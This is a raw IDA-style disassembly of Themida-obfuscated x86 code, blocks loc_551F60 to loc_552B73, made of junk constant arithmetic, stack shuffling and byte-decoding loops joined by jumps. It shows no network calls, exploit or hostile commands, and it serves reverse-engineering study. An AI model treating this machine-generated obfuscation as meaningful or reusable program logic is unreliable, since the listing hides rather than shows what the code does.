loc_551F60: ; CODE XREF: Themida_:00551CB6j
xor eax, edx
mov edx, [esp]
jmp loc_55AB46
; ---------------------------------------------------------------------------
loc_551F6A: ; CODE XREF: Themida_:005584AFj
or esi, 66320E4Dh
add esi, 1002101h
sub esi, eax
jmp loc_55015E
; ---------------------------------------------------------------------------
loc_551F7D: ; CODE XREF: Themida_:00559A1Ej
push ebp
not dword ptr [esp]
pop ebp
shr ebp, 5
sub ebp, 0D1A687D5h
add edx, ebp
pop ebp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551F93: ; CODE XREF: Themida_:0055160Aj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54FFF9
; ---------------------------------------------------------------------------
loc_551FA7: ; CODE XREF: Themida_:00558B78j
add eax, 0C21CCE93h
add esi, eax
mov eax, [esp]
add esp, 4
push edx
mov edx, 4
sub esi, edx
pop edx
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp+4]
jmp loc_551DDA
; ---------------------------------------------------------------------------
loc_551FCF: ; CODE XREF: Themida_:005534B4j
mov edx, 6E27019Ah
jmp loc_558F68
; ---------------------------------------------------------------------------
loc_551FD9: ; CODE XREF: Themida_:0054FBF8j
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_5561B5
; ---------------------------------------------------------------------------
loc_552000: ; CODE XREF: Themida_:00558159j
sub edx, ebp
jmp loc_55599B
; ---------------------------------------------------------------------------
loc_552007: ; CODE XREF: Themida_:00556F80j
pop dword ptr [esp]
mov esp, [esp]
push ebx
push eax
sub esp, 4
mov [esp], ecx
mov ch, 0A1h
inc ch
not ch
shr ch, 5
or ch, 7Dh
add ch, 66h
mov ah, ch
pop ecx
push edx
mov dl, 5Ch
add dl, 0F3h
add ah, 30h
jmp loc_55812C
; ---------------------------------------------------------------------------
loc_552035: ; CODE XREF: Themida_:0055A776j
pop ecx
not ebx
inc ebx
xchg edi, ebx
not edi
jmp loc_552C21
; ---------------------------------------------------------------------------
loc_552042: ; CODE XREF: Themida_:0055161Dj
add al, dh
pop edx
push 561Ch
mov [esp], edx
push eax
mov ah, 0E2h
jmp loc_55A2D4
; ---------------------------------------------------------------------------
loc_552055: ; CODE XREF: Themida_:0054F10Bj
sub esp, 2
mov [esp], ax
jmp loc_552883
; ---------------------------------------------------------------------------
loc_552061: ; CODE XREF: Themida_:005579C9j
mov edx, [esp]
jmp loc_550863
; ---------------------------------------------------------------------------
loc_552069: ; CODE XREF: Themida_:00555D26j
add esp, 4
sub esi, 2232189Eh
xor esi, 14B77A5Fh
add esi, 77C802C3h
xor esi, 0F2BF0218h
add ebx, esi
pop esi
jmp loc_55666A
; ---------------------------------------------------------------------------
loc_55208C: ; CODE XREF: Themida_:00555A0Ej
mov ecx, [esp]
add esp, 4
push esi
jmp loc_55794C
; ---------------------------------------------------------------------------
loc_552098: ; CODE XREF: Themida_:00550F89j
mov eax, 4
push edi
jmp loc_5538EB
; ---------------------------------------------------------------------------
loc_5520A3: ; CODE XREF: Themida_:00556B5Dj
xor edi, [esp]
xor [esp], edi
jmp loc_559324
; ---------------------------------------------------------------------------
loc_5520AE: ; CODE XREF: Themida_:00558DC3j
push esi
mov esi, esp
push 2AF1h
mov [esp], eax
mov eax, esp
push ebx
jmp loc_559720
; ---------------------------------------------------------------------------
loc_5520C1: ; CODE XREF: Themida_:005551A6j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_552EEA
; ---------------------------------------------------------------------------
loc_5520FB: ; CODE XREF: Themida_:00559C30j
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_552108: ; CODE XREF: Themida_:00552D4Aj
sub ecx, 0E1D2BE0h
pop esi
xchg ecx, [esp]
jmp loc_55759B
; ---------------------------------------------------------------------------
loc_552117: ; CODE XREF: Themida_:00552908j
pop ecx
add al, 98h
sub bl, 97h
jmp loc_559E20
; ---------------------------------------------------------------------------
loc_552122: ; CODE XREF: Themida_:0055ADD5j
add esp, 4
jmp loc_557783
; ---------------------------------------------------------------------------
loc_55212D: ; CODE XREF: Themida_:00559F26j
push esi
mov esi, 675613ADh
push ecx
jmp loc_555D7D
; ---------------------------------------------------------------------------
loc_552139: ; CODE XREF: Themida_:0054EE83j
add ebx, ecx
pop ecx
jmp loc_5530D6
; ---------------------------------------------------------------------------
loc_552141: ; CODE XREF: Themida_:00552F9Aj
push ebp
not dword ptr [esp]
jmp loc_54F3D8
; ---------------------------------------------------------------------------
loc_55214A: ; CODE XREF: Themida_:005575BEj
add ebx, 4
jmp loc_5536AE
; ---------------------------------------------------------------------------
loc_552155: ; CODE XREF: Themida_:005594B9j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55215A: ; CODE XREF: Themida_:005522C0j
sub ebx, 44003445h
add ebx, eax
add ebx, 44003445h
pop eax
and ecx, ebx
pop ebx
shr ecx, 0
or eax, eax
jz loc_559296
push 36E4h
mov [esp], ecx
push 6AD2h
jmp loc_556A6B
; ---------------------------------------------------------------------------
loc_552189: ; CODE XREF: Themida_:005501F2j
mov ecx, [esp]
add esp, 4
pop eax
push ebp
push esi
mov esi, 27015050h
push edx
mov edx, 15757AA9h
xor esi, edx
pop edx
jmp loc_55A07C
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
jmp loc_5505D2
; ---------------------------------------------------------------------------
loc_5521AF: ; CODE XREF: Themida_:00559D41j
shr ch, 1
xor ch, 0ECh
sub ch, 15h
jmp loc_55384C
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push dx
jmp loc_5517D2
; ---------------------------------------------------------------------------
loc_5521C6: ; CODE XREF: Themida_:00551DADj
mov ebp, esp
push edx
mov edx, 11E817E9h
and edx, 3E8431DFh
jmp loc_5573C2
; ---------------------------------------------------------------------------
loc_5521D9: ; CODE XREF: Themida_:005568C8j
mov [esp], ebp
mov ebp, 0FF05594h
or ebp, 27631F68h
jmp loc_55888D
; ---------------------------------------------------------------------------
loc_5521EC: ; CODE XREF: Themida_:00559FC4j
add esi, 28B61C40h
sub esi, 5B564B16h
mov ecx, esi
mov esi, [esp]
add esp, 4
sub esi, 26DD46FBh
sub esi, ecx
add esi, 26DD46FBh
pop ecx
mov edx, esi
pop esi
add edx, edi
push dword ptr [edx]
add dword ptr [esp], 73A12197h
push dword ptr [esp]
pop eax
add esp, 4
sub eax, 73A12197h
pop edx
push 5069h
jmp loc_558D0E
; ---------------------------------------------------------------------------
loc_552237: ; CODE XREF: Themida_:00557E6Ej
push ebx
mov ebx, 508013A6h
sub eax, ebx
pop ebx
sub eax, edx
add eax, 508013A6h
add eax, 515424B6h
push dword ptr [esp]
pop edx
add esp, 4
push ecx
push edi
mov edi, 35C2778Ch
push ebx
mov ebx, 4CFF7C3Bh
add ebx, 40590298h
add ebx, 1E0C2777h
add ebx, 1
sub ebx, 1
and ebx, 35A464B7h
xor ebx, 655C3664h
add edi, ebx
pop ebx
sub esp, 4
mov [esp], ebp
mov ebp, 3536ADDh
jmp loc_552BE5
; ---------------------------------------------------------------------------
loc_55229D: ; CODE XREF: Themida_:005511A9j
add ebx, esi
pop esi
add ebx, 4
push ebx
jmp loc_55246F
; ---------------------------------------------------------------------------
loc_5522A9: ; CODE XREF: Themida_:0055356Aj
shr eax, 18h
jmp loc_5527B7
; ---------------------------------------------------------------------------
loc_5522B1: ; CODE XREF: Themida_:00555C96j
mov cx, 69Bh
sub cx, 3F09h
jmp loc_554787
; ---------------------------------------------------------------------------
loc_5522BF: ; CODE XREF: Themida_:0055117Fj
pop edi
jmp loc_55215A
; ---------------------------------------------------------------------------
loc_5522C5: ; CODE XREF: Themida_:00553A48j
push ebp
mov ebp, 7B9B5089h
add ebp, 42ED7AAFh
jmp loc_550342
; ---------------------------------------------------------------------------
loc_5522D6: ; CODE XREF: Themida_:00557309j
push edx
jmp loc_5546B5
; ---------------------------------------------------------------------------
loc_5522DC: ; CODE XREF: Themida_:005574C8j
push ebx
add dword ptr [esp], 57A728DCh
jmp loc_54F011
; ---------------------------------------------------------------------------
loc_5522E9: ; CODE XREF: Themida_:00556E00j
and edx, ebx
pop ebx
jmp loc_556CDE
; ---------------------------------------------------------------------------
loc_5522F1: ; CODE XREF: Themida_:0055AB84j
add ebx, 3DDD3591h
push dword ptr [esp]
pop eax
push 7D25h
jmp loc_55601B
; ---------------------------------------------------------------------------
loc_552305: ; CODE XREF: Themida_:00551C68j
pop ebp
add ebp, 4
push esi
jmp loc_5566B7
; ---------------------------------------------------------------------------
loc_552312: ; CODE XREF: Themida_:005558D4j
xor [esp], ecx
xor ecx, [esp]
jmp loc_550307
; ---------------------------------------------------------------------------
loc_55231D: ; CODE XREF: Themida_:005550F3j
pop edi
add esp, 4
jmp loc_55274F
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 18BEh
jmp loc_5537F9
; ---------------------------------------------------------------------------
loc_55233C: ; CODE XREF: Themida_:005587B9j
add edi, 3EFE7CB4h
shr edi, 7
and edi, 4E2864E4h
jmp loc_557C4B
; ---------------------------------------------------------------------------
loc_552350: ; CODE XREF: Themida_:00558E8Aj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_552355: ; CODE XREF: Themida_:0055474Dj
add esp, 4
inc eax
push edi
mov edi, 26806B17h
sub edi, 41B52E93h
or edi, 55EE0D36h
shr edi, 5
add edi, 0C26200Ah
dec edi
add edi, 0E5E6D31Ch
sub eax, edi
pop edi
jmp loc_5508E5
; ---------------------------------------------------------------------------
loc_552386: ; CODE XREF: Themida_:00550596j
pop ebx
jmp loc_552A1E
; ---------------------------------------------------------------------------
loc_55238C: ; CODE XREF: Themida_:0055A3E1j
mov esp, [esp]
push dword ptr [esp]
jmp loc_54FC22
; ---------------------------------------------------------------------------
loc_552397: ; CODE XREF: Themida_:005548FCj
push ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push ebx
mov ebx, 698F44F8h
dec ebx
not ebx
shr ebx, 2
sub esp, 4
mov [esp], eax
push ecx
mov ecx, 3CC35DE9h
jmp loc_556993
; ---------------------------------------------------------------------------
loc_5523C0: ; CODE XREF: Themida_:00554737j
shl word ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5523CA: ; CODE XREF: Themida_:005578D9j
pop edi
push edx
mov edx, 19AB4197h
or ebp, edx
pop edx
jmp loc_5572AC
; ---------------------------------------------------------------------------
loc_5523D9: ; CODE XREF: Themida_:0055AE32j
movzx cx, ah
jmp loc_554EB9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 36C1h
mov [esp], ebx
mov ebx, esp
push ecx
mov ecx, 4
push 3FB6h
mov [esp], edi
mov edi, 15361E23h
xchg ecx, edi
not ecx
xchg ecx, edi
shl edi, 4
push ebx
jmp loc_5527EF
; ---------------------------------------------------------------------------
loc_552412: ; CODE XREF: Themida_:0055998Aj
sub al, ch
jmp loc_558708
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_555CCC
; ---------------------------------------------------------------------------
loc_552422: ; CODE XREF: Themida_:0055AD69j
or ecx, 60D31519h
jmp loc_54FA81
; ---------------------------------------------------------------------------
loc_55242D: ; CODE XREF: Themida_:00556746j
push eax
sub esp, 4
jmp loc_556797
; ---------------------------------------------------------------------------
loc_552439: ; CODE XREF: Themida_:005516E1j
mov ecx, esp
jmp loc_558D29
; ---------------------------------------------------------------------------
loc_552440: ; CODE XREF: Themida_:00555395j
sub ebx, edx
sub ebx, 4FDF44C0h
pop edx
pop dword ptr [eax]
jmp loc_54F6B3
; ---------------------------------------------------------------------------
loc_552450: ; CODE XREF: Themida_:00550A96j
not ebp
sub ebp, 46C07058h
or ebp, 5368144Ah
jmp loc_553512
; ---------------------------------------------------------------------------
loc_552463: ; CODE XREF: Themida_:00557F4Aj
push dword ptr [edi+eax*4]
mov eax, [esp]
push ebx
jmp loc_5536C2
; ---------------------------------------------------------------------------
loc_55246F: ; CODE XREF: Themida_:005522A4j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_556E3A
; ---------------------------------------------------------------------------
loc_552482: ; CODE XREF: Themida_:0054FF25j
mov ah, 88h
jmp loc_54EB00
; ---------------------------------------------------------------------------
loc_552489: ; CODE XREF: Themida_:0054F411j
sub al, dl
mov edx, [esp]
add esp, 4
jmp loc_55071E
; ---------------------------------------------------------------------------
lodsb
push small 1FFAh
mov [esp], cx
push eax
mov ah, 28h
sub ah, 61h
shr ah, 5
neg ah
xor ah, 4Ch
mov cl, ah
mov eax, [esp]
add esp, 4
shl cl, 8
add cl, 0A2h
jmp loc_551046
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_55796B
; ---------------------------------------------------------------------------
loc_5524D4: ; CODE XREF: Themida_:005559E0j
mov ebp, eax
pop eax
add eax, ebp
mov ebp, [esp]
push ebp
mov ebp, esp
jmp loc_55595D
; ---------------------------------------------------------------------------
loc_5524E4: ; CODE XREF: Themida_:00551230j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
and [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5524F7: ; CODE XREF: Themida_:005507EFj
mov [esp], eax
push 2071h
jmp loc_557B3D
; ---------------------------------------------------------------------------
loc_552504: ; CODE XREF: Themida_:0055725Fj
not cl
xchg cl, dh
mov bl, dh
pop edx
jmp loc_55040A
; ---------------------------------------------------------------------------
loc_552510: ; CODE XREF: Themida_:005511BEj
pop esp
mov [esp], eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_552519: ; CODE XREF: Themida_:00558888j
add ebp, 23FB4AB5h
sub esp, 4
mov [esp], ebp
pop ebx
mov ebp, [esp]
add esp, 4
loc_55252F: ; CODE XREF: Themida_:005526B6j
push ebx
push ebx
push esp
jmp loc_5517B5
; ---------------------------------------------------------------------------
loc_552537: ; CODE XREF: Themida_:00559236j
push 2B7h
mov [esp], edx
jmp loc_55273A
; ---------------------------------------------------------------------------
loc_552544: ; CODE XREF: Themida_:005586A0j
add al, 0F1h
sub al, ch
sub al, 0F1h
mov ecx, [esp]
push esi
mov esi, esp
jmp loc_55645B
; ---------------------------------------------------------------------------
loc_552555: ; CODE XREF: Themida_:00555FBBj
sub [esp+8], ebx
jmp loc_55348D
; ---------------------------------------------------------------------------
loc_55255E: ; CODE XREF: Themida_:00556D69j
pop edx
and ebp, esi
pop esi
jmp loc_553E21
; ---------------------------------------------------------------------------
loc_552567: ; CODE XREF: Themida_:00550D1Bj
pop ebp
sub ebp, 48C345FEh
jmp loc_558442
; ---------------------------------------------------------------------------
loc_552573: ; CODE XREF: Themida_:0054F69Cj
push eax
jmp loc_555402
; ---------------------------------------------------------------------------
loc_552579: ; CODE XREF: Themida_:0055762Aj
push ecx
mov ecx, 6C257834h
not ecx
sub ecx, 0FFFFFFFFh
xor ecx, 0FB2D29h
xor ecx, 989A9D5Dh
push ecx
sub dword ptr [esp], 58660961h
jmp loc_54F38B
; ---------------------------------------------------------------------------
loc_55259D: ; CODE XREF: Themida_:0055A4CBj
push esp
jmp loc_5567D1
; ---------------------------------------------------------------------------
loc_5525A3: ; CODE XREF: Themida_:00556199j
pop ebp
jmp loc_5504C0
; ---------------------------------------------------------------------------
loc_5525A9: ; CODE XREF: Themida_:00551C1Cj
or edx, 37810F9Dh
sub edx, 0CD219EA6h
jmp $+5
add edi, edx
pop edx
push 46A4h
mov [esp], ebp
mov ebp, 2BB84187h
sub edi, 26C3A45h
sub edi, ebp
push esi
mov esi, 23E51D16h
and esi, 503A0FEBh
not esi
shl esi, 3
neg esi
add esi, 16367315h
xor esi, 155AE168h
add edi, esi
pop esi
jmp loc_552B67
; ---------------------------------------------------------------------------
loc_5525F9: ; CODE XREF: Themida_:00551441j
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push ebp
mov ebp, 7B4026B2h
jmp loc_54FF10
; ---------------------------------------------------------------------------
loc_552619: ; CODE XREF: Themida_:0054FA16j
push 250Fh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop ebp
add esp, 4
push ebx
jmp loc_55263E
; ---------------------------------------------------------------------------
loc_552636: ; CODE XREF: Themida_:00556977j
mov ecx, esp
push edi
jmp loc_55077B
; ---------------------------------------------------------------------------
loc_55263E: ; CODE XREF: Themida_:00552631j
mov ebx, 45AC3A14h
neg ebx
jmp loc_54FDAB
; ---------------------------------------------------------------------------
loc_55264A: ; CODE XREF: Themida_:005517B0j
pop ebp
jmp loc_5559A1
; ---------------------------------------------------------------------------
loc_552650: ; CODE XREF: Themida_:0055A7F1j
pop edx
pop ebx
jmp loc_555B9D
; ---------------------------------------------------------------------------
loc_552657: ; CODE XREF: Themida_:00559BD7j
mov [esp], ebx
push eax
push edi
mov edi, 774E5AADh
add edi, 1
inc edi
inc edi
xor edi, 5AE22B6Bh
jmp loc_551DBC
; ---------------------------------------------------------------------------
loc_552674: ; CODE XREF: Themida_:00555D9Bj
pop ecx
sub esp, 2
mov [esp], bx
push eax
mov al, 0F5h
jmp loc_556FB3
; ---------------------------------------------------------------------------
loc_552684: ; CODE XREF: Themida_:0054FF3Bj
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_553818
; ---------------------------------------------------------------------------
loc_552692: ; CODE XREF: Themida_:00555DDBj
mov ebp, 36AF664Ch
or ebp, 30423369h
xor ebp, 8315F4Ah
jmp loc_551D3B
; ---------------------------------------------------------------------------
loc_5526A8: ; CODE XREF: Themida_:0055774Ej
mov edi, 68BE6DA6h
jmp loc_54FCC3
; ---------------------------------------------------------------------------
loc_5526B2: ; CODE XREF: Themida_:00557BB3j
cmp dword ptr [edi+20h], 0
jz loc_55252F
push edx
push edi
push 52D557DDh
pop edi
xor edi, 4C616F00h
mov edx, edi
pop edi
jmp loc_5539A2
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
push esi
mov esi, 18A7015Fh
add esi, 68581818h
sub esi, 80FF1975h
push ebx
push ecx
jmp loc_551304
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, 61554128h
add eax, edi
pop edi
sub eax, ebx
push ebp
mov ebp, 7E091517h
add ebp, 52E855B9h
add ebp, 1
sub esp, 4
mov [esp], esi
mov esi, 41323985h
xor ebp, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_54FBA9
; ---------------------------------------------------------------------------
loc_55273A: ; CODE XREF: Themida_:0055253Fj
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_558042
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_559CF2
; ---------------------------------------------------------------------------
loc_55274F: ; CODE XREF: Themida_:00552321j
pop dword ptr [esp]
pop esp
jmp loc_553A55
; ---------------------------------------------------------------------------
loc_552758: ; CODE XREF: Themida_:0055908Ej
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_552F5A
; ---------------------------------------------------------------------------
loc_55276C: ; CODE XREF: Themida_:0054FEE1j
add eax, 6D8F7D96h
sub eax, 62E329D6h
jmp loc_54ED8D
; ---------------------------------------------------------------------------
loc_55277B: ; CODE XREF: Themida_:0054EEADj
mov edi, 72D060CEh
neg edi
xor edi, 79E27C86h
not edi
jmp loc_5537DC
; ---------------------------------------------------------------------------
loc_55278F: ; CODE XREF: Themida_:00555DF1j
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
jmp loc_558E38
; ---------------------------------------------------------------------------
loc_5527A9: ; CODE XREF: Themida_:00557947j
add esp, 4
sub edi, esi
push dword ptr [esp]
pop esi
jmp loc_558257
; ---------------------------------------------------------------------------
loc_5527B7: ; CODE XREF: Themida_:005522ACj
xor eax, ecx
push eax
xchg esi, [esp]
jmp loc_54F531
; ---------------------------------------------------------------------------
loc_5527C2: ; CODE XREF: Themida_:00558475j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5527C7: ; CODE XREF: Themida_:005591EFj
mov esp, [esp]
push 794Eh
mov [esp], ebp
push edi
push edx
mov edx, 60316563h
jmp loc_550CEE
; ---------------------------------------------------------------------------
loc_5527DE: ; CODE XREF: Themida_:00558023j
sub eax, edi
pop edi
add eax, esi
add eax, 5E815B5Dh
pop esi
pop edx
jmp loc_5506BF
; ---------------------------------------------------------------------------
loc_5527EF: ; CODE XREF: Themida_:0055240Dj
mov ebx, 5BB4343Ch
add edi, ebx
pop ebx
sub ebx, 0FEB0872h
sub ebx, edi
jmp loc_555F37
; ---------------------------------------------------------------------------
loc_552804: ; CODE XREF: Themida_:00555242j
xchg ebp, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_558195
; ---------------------------------------------------------------------------
loc_552813: ; CODE XREF: Themida_:00556C75j
mov ebp, 4DCF1326h
or ebp, 36485620h
jmp loc_55606F
; ---------------------------------------------------------------------------
loc_552823: ; CODE XREF: Themida_:00550836j
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_54FCAC
; ---------------------------------------------------------------------------
loc_552833: ; CODE XREF: Themida_:0055397Fj
pop esp
and eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_5505AB
; ---------------------------------------------------------------------------
loc_55283F: ; CODE XREF: Themida_:00555AC9j
xor ebp, 7A3602A4h
sub edi, 1F581BFAh
jmp $+5
add edi, ebp
add edi, 1F581BFAh
pop ebp
jmp loc_55A229
; ---------------------------------------------------------------------------
loc_55285E: ; CODE XREF: Themida_:00554537j
mov al, ch
pop cx
push dx
mov dh, 7Eh
jmp loc_556C06
; ---------------------------------------------------------------------------
loc_55286B: ; CODE XREF: Themida_:00559A72j
or ecx, ecx
jz loc_553CA3
push ebx
jmp loc_55AD6E
; ---------------------------------------------------------------------------
loc_552879: ; CODE XREF: Themida_:00559F17j
mov ebx, 755E7587h
jmp loc_54EE62
; ---------------------------------------------------------------------------
loc_552883: ; CODE XREF: Themida_:0055205Cj
mov al, 9Ah
xor al, 12h
not al
sub al, 84h
sub bl, al
jmp loc_55ABA5
; ---------------------------------------------------------------------------
loc_552892: ; CODE XREF: Themida_:00553150j
mov ebx, 578B0E9Dh
xor eax, ebx
push dword ptr [esp]
pop ebx
push ebx
push edi
jmp loc_54FD9E
; ---------------------------------------------------------------------------
loc_5528A4: ; CODE XREF: Themida_:00557C46j
mov [esp], ebx
push ecx
mov ecx, 4D1B45A1h
xor ecx, 464A634Ch
neg ecx
sub ecx, 2F166576h
shl ecx, 5
xor ecx, 0D56B2BF1h
push ecx
pop ebx
mov ecx, [esp]
add esp, 4
add edx, 5A33326Ch
add edx, ebx
jmp loc_558D7F
; ---------------------------------------------------------------------------
loc_5528D9: ; CODE XREF: Themida_:0055988Cj
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_5572EE
; ---------------------------------------------------------------------------
loc_5528EA: ; CODE XREF: Themida_:00555FA7j
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_559A6F
; ---------------------------------------------------------------------------
loc_5528FB: ; CODE XREF: Themida_:005500A0j
pop ecx
xor al, 63h
or al, 61h
shl al, 7
push ecx
mov cl, 26h
xor al, cl
jmp loc_552117
; ---------------------------------------------------------------------------
loc_55290D: ; CODE XREF: Themida_:00558371j
push dword ptr [esp]
pop eax
push 7C43h
jmp loc_55625B
; ---------------------------------------------------------------------------
loc_55291B: ; CODE XREF: Themida_:00556CB7j
mov ecx, 4
jmp loc_54EED8
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edx
push eax
jmp loc_55083B
; ---------------------------------------------------------------------------
loc_55292F: ; CODE XREF: Themida_:0055927Cj
add eax, ecx
jmp loc_553543
; ---------------------------------------------------------------------------
loc_552936: ; CODE XREF: Themida_:0055A856j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55293B: ; CODE XREF: Themida_:00555323j
pop eax
xchg edi, [esp]
pop esp
add esp, 4
movzx ecx, ax
push 1098h
jmp loc_54EDCD
; ---------------------------------------------------------------------------
loc_552950: ; CODE XREF: Themida_:0055581Dj
add eax, 4B081557h
push esi
jmp loc_554227
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_54F46C
; ---------------------------------------------------------------------------
loc_55296F: ; CODE XREF: Themida_:00554211j
add edx, 4
jmp loc_550E6E
; ---------------------------------------------------------------------------
loc_55297A: ; CODE XREF: Themida_:0054FA54j
push 4E72h
jmp loc_556E45
; ---------------------------------------------------------------------------
loc_552984: ; CODE XREF: Themida_:00552FFAj
add esp, 4
push ecx
mov ecx, 65443C72h
xchg edi, ecx
push edi
not dword ptr [esp]
pop edi
push ecx
sub esp, 4
mov [esp], edi
pop ecx
pop edi
shl ecx, 1
not ecx
sub ecx, 0CA8878E1h
add edi, ecx
pop ecx
add edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 4
sub eax, edi
pop edi
push eax
jmp loc_554DD5
; ---------------------------------------------------------------------------
mov ax, [esp]
push 230Fh
mov [esp], edx
push 3914h
push esp
pop dword ptr [esp]
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_554314
; ---------------------------------------------------------------------------
loc_552A06: ; CODE XREF: Themida_:00559213j
sub edx, 0BC61057h
add edx, 0E4214F7h
add edx, 4B5E41BEh
pop ebp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_552A1E: ; CODE XREF: Themida_:00552387j
add edx, edi
push ebp
jmp loc_556CBC
; ---------------------------------------------------------------------------
loc_552A26: ; CODE XREF: Themida_:00553C8Aj
xchg ebx, [esp]
pop esp
push esi
mov esi, 2
jmp loc_551339
; ---------------------------------------------------------------------------
loc_552A35: ; CODE XREF: Themida_:00556145j
add al, 0C9h
sub al, 8Ah
sub al, bl
jmp loc_557D15
; ---------------------------------------------------------------------------
loc_552A40: ; CODE XREF: Themida_:00559182j
add edx, 1C60260Fh
sub edx, 66F75B41h
jmp loc_550891
; ---------------------------------------------------------------------------
loc_552A51: ; CODE XREF: Themida_:00552E0Fj
push eax
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp]
pop esp
push ebx
push eax
jmp loc_5580E2
; ---------------------------------------------------------------------------
loc_552A65: ; CODE XREF: Themida_:0055900Fj
xor edi, 0F88F404Dh
jmp loc_55124D
; ---------------------------------------------------------------------------
loc_552A70: ; CODE XREF: Themida_:0055B00Ej
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_551C8C
; ---------------------------------------------------------------------------
mov eax, [esp]
push edi
push esp
jmp loc_552FF7
; ---------------------------------------------------------------------------
loc_552A90: ; CODE XREF: Themida_:00557F44j
add ebp, 25725832h
sub ecx, ebp
jmp loc_554FE0
; ---------------------------------------------------------------------------
loc_552A9D: ; CODE XREF: Themida_:00556839j
mov esp, [esp]
movsx ecx, al
push eax
mov eax, esp
jmp loc_559EB1
; ---------------------------------------------------------------------------
loc_552AAB: ; CODE XREF: Themida_:005574B3j
push edx
mov dl, 0A5h
sub dl, 1
add dl, 1
jmp loc_54F174
; ---------------------------------------------------------------------------
loc_552AB9: ; CODE XREF: Themida_:00553158j
mov esi, 4
push esi
mov esi, 7653683Dh
jmp loc_556C50
; ---------------------------------------------------------------------------
loc_552AC9: ; CODE XREF: Themida_:0054EC90j
mov bl, 0A5h
jmp loc_55716B
; ---------------------------------------------------------------------------
loc_552AD0: ; CODE XREF: Themida_:00557DEFj
neg ecx
jmp loc_557B61
; ---------------------------------------------------------------------------
loc_552AD7: ; CODE XREF: Themida_:0055A26Cj
mov [esp], esi
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop esi
add esp, 4
mov eax, esi
mov esi, [esp]
jmp loc_559123
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
jmp loc_5540FD
; ---------------------------------------------------------------------------
loc_552B03: ; CODE XREF: Themida_:00555597j
pop ecx
not ebp
inc ebp
not ebp
neg ebp
xor ebp, 0D20F8695h
sub ecx, ebp
pop ebp
jmp loc_556C7A
; ---------------------------------------------------------------------------
loc_552B19: ; CODE XREF: Themida_:00554FAEj
sub ebp, esi
pop esi
sub ebp, ecx
add ebp, 69584FAEh
jmp loc_557B45
; ---------------------------------------------------------------------------
loc_552B29: ; CODE XREF: Themida_:00559A7Aj
add dword ptr [esp], 32525CDAh
add [esp], eax
sub esp, 4
mov [esp], eax
jmp loc_554A8C
; ---------------------------------------------------------------------------
loc_552B3E: ; CODE XREF: Themida_:0054FEA3j
mov edx, [esp]
add esp, 4
jmp loc_557E33
; ---------------------------------------------------------------------------
loc_552B4C: ; CODE XREF: Themida_:0054FDC3j
mov ebx, esp
add ebx, 4
jmp loc_557D54
; ---------------------------------------------------------------------------
loc_552B59: ; CODE XREF: Themida_:0054F636j
shr ah, 7
dec ah
add ah, 0AEh
push ebx
jmp loc_553757
; ---------------------------------------------------------------------------
loc_552B67: ; CODE XREF: Themida_:005525F4j
pop ebp
push esi
mov esi, 5327037Eh
jmp loc_555795
; ---------------------------------------------------------------------------
loc_552B73: ; CODE XREF: Themida_:00553584j
pop ebp
add esp, 4
